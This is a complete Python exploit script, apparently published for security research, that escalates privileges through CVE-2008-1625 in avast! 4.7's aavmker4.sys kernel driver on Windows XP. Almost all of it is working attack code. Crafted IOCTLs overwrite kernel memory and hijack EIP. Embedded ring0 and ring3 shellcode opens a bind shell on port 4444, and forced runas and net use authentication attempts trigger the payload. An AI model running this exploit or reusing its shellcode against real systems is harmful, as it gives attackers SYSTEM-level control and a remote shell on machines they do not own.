avast! 4.7 aavmker4.sys privilege escalation

                                                #!/usr/bin/python
# avast! 4.7 aavmker4.sys privilege escalation
# http://www.trapkit.de/advisories/TKADV2008-002.txt
# CVE-2008-1625
# Tested on WindXpSp2/Sp3 Dep ON
# Matteo Memelli ryujin __A-T__ offensive-security.com
# www.offensive-security.com
# Spaghetti & Pwnsauce - 17/04/2010
# Tested on WinXPSP2/SP3 english | avast! 4.7.1098.0
from ctypes import *
import time, struct, sys, thread, os
 
kernel32 = windll.kernel32
Psapi    = windll.Psapi
 
def findSysBase(drv):
    print "(+) Retrieving %s base address..." % drv
    ARRAY_SIZE            = 1024
    myarray               = c_ulong * ARRAY_SIZE
    lpImageBase           = myarray()
    cb                    = c_int(1024)
    lpcbNeeded            = c_long()
    drivername_size       = c_long()
    drivername_size.value = 48
    Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded))
    for baseaddy in lpImageBase:
        drivername = c_char_p("\x00"*drivername_size.value)
        if baseaddy:
            Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername,
                            drivername_size.value)
            if drivername.value.lower() == drv:
                print "(+) Address retrieved: %s" % hex(baseaddy)
                return baseaddy
    return None
 
def checkShell():
    check = "netstat -an | find \"4444\""
    res = os.popen(check)
    ret = res.read()
    res.close()
    if ret.find("0.0.0.0:4444") != -1:
        return True
    else:
        return False
 
def kickLsass():
    time.sleep(10)
    lsas1 = "echo hola | runas /user:administrator cmd.exe > NUL"
    lsas2 = "net use \\\\127.0.0.1 /user:administrator test > NUL"
    nc    = "nc 127.0.0.1 4444"
    print "(!) NO BSOD? good sign :)"
    print "(*) Sleeping 60 secs before the Woshi finger hold..."
    time.sleep(60)
    # Trying to kick ls-ass, any auth good or failed should help
    # if this doesn't work for you try to rdp to the vuln box or
    # logout/login from console... it's rough but should work ;)
    print "(+) Trying to fail an auth to trigger syscall..."
    os.system(lsas1)
    time.sleep(1)
    os.system(lsas2)
    while 1:
        res = checkShell()
        if res:
            print "($) Shell is ready 0.0.0.0:4444"
            #os.system(nc)
            #print "(-) netcat not in path but shell is open!"
            break
        print "(*) Retrying. Sleeping 30 secs..."
        time.sleep(30)
        print "(+) Trying to fail an auth to trigger syscall..."
        os.system(lsas1)
        time.sleep(1)
        os.system(lsas2)
     
def pwnDrv(driver_handle2, IOCTL_EIP, stor_input, stor_size, stor_output,
            out_size, dwReturn1):
    # We trigger func pointer to control EIP
    time.sleep(5)
    print "(+) Owning EIP..."
    for i in range(1,3):
        print "(+) Triggering function pointer: %d/2" % i
        dev_ioctl = kernel32.DeviceIoControl(driver_handle2, IOCTL_EIP, stor_input,
                            stor_size, stor_output, out_size,
                            byref(dwReturn1), None)
        time.sleep(0.5)
     
if __name__ == '__main__':
    print "(*) avast! 4.7 aavmker4.sys privilege escalation"
    print "(+) coded by Matteo Memelli aka ryujin -> at <- offsec.com"
    print "(+) www.offsec.com || Spaghetti & Pwnsauce"
    print "(+) tested on WinXPSP2/SP3 DEP On 17/04/2010"
    GENERIC_READ  = 0x80000000
    GENERIC_WRITE = 0x40000000
    OPEN_EXISTING = 0x3
    CREATE_ALWAYS = 0x2
    IOCTL_STOR    = 0xb2d6001c # stores stuff to bypass checks in .data
    IOCTL_VULN    = 0xb2d60030 # writes to arbitrary memory
    IOCTL_EIP     = 0xb2d60020 # triggers function pointer to own EIP
    # DosDevices\AAVMKER4 Device\AavmKer4
    DEVICE_NAME   = "\\\\.\\AavmKer4"
    dwReturn1     = c_ulong()
    dwReturn2     = c_ulong()
    evil_size     = 0x878
    out_size      = 0x1024
    stor_size     = 0x418
    evil_output   = ""
    stor_output   = ""
    driver_name   = 'aavmker4.sys'
 
    # evil_input = 0x878
    # Payload = 496 bytes
    # ring0_migrate = 45 bytes || # \xf0\x01 bytes to copy
    ring0_migrate = (
    "\xfc\xfa\xeb\x24\x5e\x68\x76\x01\x00\x00\x59\x0f\x32\x89\x86\x69"
    "\x00\x00\x00\x8b\xbe\x6d\x00\x00\x00\x89\xf8\x0f\x30\xb9\xf0\x01"
    "\x00\x00\xf3\xa4\xfb\xf4\xeb\xfd\xe8\xd7\xff\xff\xff" )
     
    # ring0_msr = 117 bytes
    ring0_msr = (
    "\x6a\x00\x9c\x60\xe8\x00\x00\x00\x00\x58\x8b\x98\x60\x00\x00\x00"
    "\x89\x5c\x24\x24\x81\xf9\xde\xc0\xad\xde\x75\x10\x68\x76\x01\x00"
    "\x00\x59\x89\xd8\x31\xd2\x0f\x30\x31\xc0\xeb\x3a\x8b\x32\x0f\xb6"
    "\x1e\x66\x81\xfb\xc3\x00\x75\x2e\x8b\x98\x68\x00\x00\x00\x8d\x9b"
    "\x75\x00\x00\x00\x89\x1a\xb8\x01\x00\x00\x80\x0f\xa2\x81\xe2\x00"
    "\x00\x10\x00\x74\x11\xba\x00\xff\x3f\xc0\x81\xc2\x04\x00\x00\x00"
    "\x81\x22\xff\xff\xff\x7f\x61\x9d\xc3\xff\xff\xff\xff\x00\x04\xdf"
    "\xff\x00\x04\xfe\x7f" )
     
    # ring3_stager = 61 bytes
    ring3_stager = (
    "\x60\x6a\x30\x58\x99\x64\x8b\x18\x39\x53\x0c\x74\x2e\x8b\x43\x10"
    "\x8b\x40\x3c\x83\xc0\x28\x8b\x08\x03\x48\x03\x81\xf9\x6c\x61\x73"
    "\x73\x75\x18\xe8\x0a\x00\x00\x00\xe8\x10\x00\x00\x00\xe9\x09\x00"
    "\x00\x00\xb9\xde\xc0\xad\xde\x89\xe2\x0f\x34\x61\xc3" )
         
    # msf payload: bindshell port 4444 318 bytes
    ring3_shellcode = (
    "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
    "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
    "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
    "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
    "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
    "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
    "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
    "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
    "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
    "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
    "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
    "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
    "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
    "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
    "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
    "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
    "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
    "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
    "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
    "\x52\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0\xc3" )
 
    sysbase       = findSysBase(driver_name)
    if not sysbase:
        print "(-) Couldn't retrieve driver base address, exiting..."
        sys.exit()
 
    driver_handle1 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,
                        0, None, CREATE_ALWAYS, 0, None)
    driver_handle2 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,
                        0, None, CREATE_ALWAYS, 0, None)
     
    # .data memory area we write to; offset from base = 0x2e04
    read_data_from= struct.pack('L', sysbase+0x2e04) # calculate addy in .data
    # r0_address = noplsed address, jump 0xfa bytes ahead to avoid a corrupted nop
    r0_address    = struct.pack('L', sysbase+0x23fa)
    evil_input    = r0_address*2 + "\x90"*0x102
    evil_input   += ring0_migrate + ring0_msr + ring3_stager + ring3_shellcode
    evil_input   += "\x41"*0x549
    evil_input   += read_data_from + "\x42\x42\x42\x42" # bypass input checks
    stor_input    = "\x43\x43\x43\x43" # padding
    stor_input   += "\x07\xAD\xDE\xD0" # cmp dword ptr [eax], 0D0DEAD07h
    stor_input   += "\xBA\xD0\xBA\x10" # cmp dword ptr [eax+4], 10BAD0BAh
    stor_input   += "\x44\x44\x44\x44"*2
    # After arbitrary write to memory nt!KeSetEvent is called: we need to fix
    # nt!KeSetEvent+0x32 using any addy  pointing  to value different to 0x01
    # so we can use our "read_data_from" again.
    stor_input   += read_data_from
    stor_input   += "\x44\x44\x44\x44"
    # 0x2300 offset from base: we write here to control a function pointer
    # and own EIP
    stor_input   += struct.pack('L', sysbase+0x2300) + "\x45"*414
 
    # trigger these later on...
    thread.start_new(pwnDrv, (driver_handle2, IOCTL_EIP, stor_input, stor_size,
                    stor_output, out_size, dwReturn1))
    thread.start_new(kickLsass, ())
    ###########################################################################
 
    # And now let's own the boy:
    if driver_handle1:
        # We store values to overcome input checks
        print "(+) Storing our precious in kernel space ;) ..."
        dev_ioctl = kernel32.DeviceIoControl(driver_handle1, IOCTL_STOR, stor_input,
                            stor_size, stor_output, out_size,
                            byref(dwReturn1), None)
        # We trigger arbitrary write
        print "(*) Sending evil IOCTL..."
        print "(+) Pwnage in progress...."
        dev_ioctl = kernel32.DeviceIoControl(driver_handle1, IOCTL_VULN,
                            evil_input, evil_size, evil_output,
                            evil_size,
                            byref(dwReturn2), None)